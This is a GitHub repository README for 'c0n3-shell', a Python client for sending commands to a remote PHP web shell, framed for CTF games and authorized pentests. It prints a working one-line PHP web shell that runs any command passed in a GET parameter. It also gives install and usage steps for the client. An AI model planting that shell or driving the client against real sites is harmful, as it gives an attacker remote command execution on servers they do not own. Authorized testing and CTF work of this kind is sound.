Skip to content

lrk/c0n3-shell

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

13 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

c0n3-shell - Python remote web shell client library

WIP - That project aim to provide simple to use, basic remote web shell client.

Disclaimer

That library is provided AS-IS, and is only intended to be used in the context of CTF games and pentests exercises with the prior mutual and writen consent of the targeted sites.

The developpers will assume no liability and are not responsible for any misuse or damage caused by that library.

YOU are responsible for what you do with it.

It is the end user’s responsibility to obey all applicable local, state and federal laws.

Usage

That library is intended to be used when you have a remote php shell accepting commands like that:

...
<?php passthru($_GET['cmd']); ?>
...

To use it:

Clone the repository, then pip install requirements and c0n3shell:

git clone https://github.com/lrk/c0n3-shell
cd c0n3-shell
pip install -r requirements.txt
pip install .

Now you can use it in your script:

#!/usr/bin/env python
from c0n3shell import *

shell = C0n3Shell(url='http://127.0.0.1/index.php')
shell.cmdloop()

or

cd c0n3-shell
pip3 install -r requirements.txt
python3 -m c0n3shell -h

Available options

  • http_verb: the http method to use, default get
  • url: the remote shell url
  • attribute: the injectable attribute, default cmd